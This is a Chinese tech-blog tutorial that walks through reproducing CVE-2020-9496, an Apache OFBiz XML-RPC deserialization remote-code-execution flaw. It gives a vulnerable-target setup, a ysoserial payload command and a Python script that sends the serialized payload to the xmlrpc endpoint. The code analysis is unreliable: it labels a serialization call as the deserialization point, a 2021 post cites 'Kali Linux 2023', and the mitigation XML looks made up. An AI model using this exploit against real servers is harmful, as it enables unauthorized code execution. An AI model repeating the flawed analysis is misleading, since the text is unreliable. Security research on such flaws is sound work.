怎样实现Apache Ofbiz XMLRPC RCE漏洞CVE-2020-9496的复现

发布时间:2021-12-29 15:49:47 作者:柒染
来源:亿速云 阅读:200
# 怎样实现Apache Ofbiz XMLRPC RCE漏洞CVE-2020-9496的复现

## 前言

Apache OFBiz(Open For Business)是一个开源的企业资源规划(ERP)系统,提供了一套完整的企业级应用框架。2020年曝光的CVE-2020-9496漏洞影响了Apache OFBiz的XML-RPC组件,攻击者可通过构造恶意请求实现远程代码执行(RCE)。本文将详细分析该漏洞原理,并提供完整的复现过程。

---

## 一、漏洞概述

### 1.1 漏洞基本信息
- **漏洞编号**:CVE-2020-9496  
- **漏洞类型**:反序列化漏洞 → 远程代码执行  
- **影响版本**:Apache OFBiz < 17.12.06  
- **CVSS评分**:9.8(Critical)  
- **漏洞组件**:`org.apache.ofbiz.service.xmlrpc.XmlRpcClient`  

### 1.2 漏洞原理
漏洞源于OFBiz的XML-RPC服务在处理请求时未对输入数据进行严格的反序列化安全检查。攻击者可通过构造包含恶意序列化数据的XML-RPC请求,触发服务器端Java反序列化链,最终实现任意代码执行。

---

## 二、环境搭建

### 2.1 实验环境要求
- **靶机环境**:
  - 操作系统:Ubuntu 20.04 LTS  
  - 软件版本:Apache OFBiz 17.12.05(漏洞版本)  
  - Java环境:OpenJDK 8  
- **攻击机环境**:
  - Kali Linux 2023  
  - Python 3 + 相关漏洞利用工具  

### 2.2 靶机部署步骤
1. 下载漏洞版本OFBiz:
   ```bash
   wget https://archive.apache.org/dist/ofbiz/apache-ofbiz-17.12.05.zip
   unzip apache-ofbiz-17.12.05.zip
   cd apache-ofbiz-17.12.05
  1. 初始化数据库并启动服务:
    
    ./gradlew cleanAll loadAll ofbiz
    
    • 服务默认监听端口:8443(HTTPS)

三、漏洞复现

3.1 漏洞验证

通过发送恶意XML-RPC请求验证服务是否可解析序列化数据:

import requests
import xmlrpc.client

target = "https://192.168.1.100:8443/webtools/control/xmlrpc"
proxy = xmlrpc.client.ServerProxy(target, verbose=True)

# 尝试调用系统方法
try:
    print(proxy.system.listMethods())
except Exception as e:
    print(f"Error: {e}")

若返回java.io.Serializable相关错误,说明存在反序列化点。

3.2 利用ysoserial生成Payload

使用ysoserial工具生成CommonsBeanutils1链的Payload:

java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/poc_success" > payload.ser

3.3 构造恶意请求

通过Python发送包含序列化数据的XML-RPC请求:

import requests
import base64

url = "https://192.168.1.100:8443/webtools/control/xmlrpc"
headers = {"Content-Type": "application/xml"}

with open("payload.ser", "rb") as f:
    payload = base64.b64encode(f.read()).decode()

xml_data = f"""<?xml version="1.0"?>
<methodCall>
    <methodName>ProjectDiscovery</methodName>
    <params>
        <param>
            <value>
                <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{payload}</serializable>
            </value>
        </param>
    </params>
</methodCall>"""

response = requests.post(url, data=xml_data, headers=headers, verify=False)
print(response.text)

3.4 验证RCE执行结果

登录靶机检查命令是否执行:

ls -la /tmp/poc_success

四、漏洞分析

4.1 关键代码定位

漏洞位于XmlRpcClient.java的处理逻辑中:

public Object execute(String methodName, Object[] params) {
    // ...
    if (params[i] instanceof Serializable) {
        serializer.writeObject(params[i]); // 危险的反序列化点
    }
}

4.2 反序列化链触发路径

  1. 攻击者通过XML-RPC发送包含Serializable对象的请求
  2. 服务端使用ObjectInputStream解析数据
  3. CommonsBeanutils链中的PropertyUtils.getProperty()被触发
  4. 通过反射机制执行任意Java代码

五、防御措施

5.1 官方修复方案

5.2 临时缓解方案

<!-- 在ofbiz-component.xml中禁用XML-RPC -->
<service-group name="webtools">
    <service name="xmlrpc" mode="disabled"/>
</service-group>

六、思考与总结

  1. 漏洞利用限制

    • 需要webtools组件暴露在外网
    • 依赖服务器JDK中存在的gadget链
  2. 渗透测试建议

    graph LR
    A[端口扫描] --> B[识别OFBiz版本]
    B --> C{版本<17.12.06?}
    C -->|Yes| D[尝试XML-RPC请求]
    C -->|No| E[放弃]
    
  3. 延伸学习

    • 其他Java反序列化漏洞(如CVE-2015-4852)
    • XML-RPC协议的安全风险

附录

参考资源

免责声明

本文仅用于安全研究学习,未经授权不得对真实系统进行测试。 “`

注:实际复现时需注意: 1. 替换示例中的IP地址为实际靶机地址 2. 根据目标环境调整Payload(如命令注入方式) 3. 建议在隔离环境测试

推荐阅读:
  1. Nginx+Apache动静分离部署过程
  2. 实现apache与nginx之间的动静分离

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

xmlrpc ofbiz rce

上一篇:OpenStack虚拟机中Metadata是什么

下一篇:CloudBeaver怎么构建和运行

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》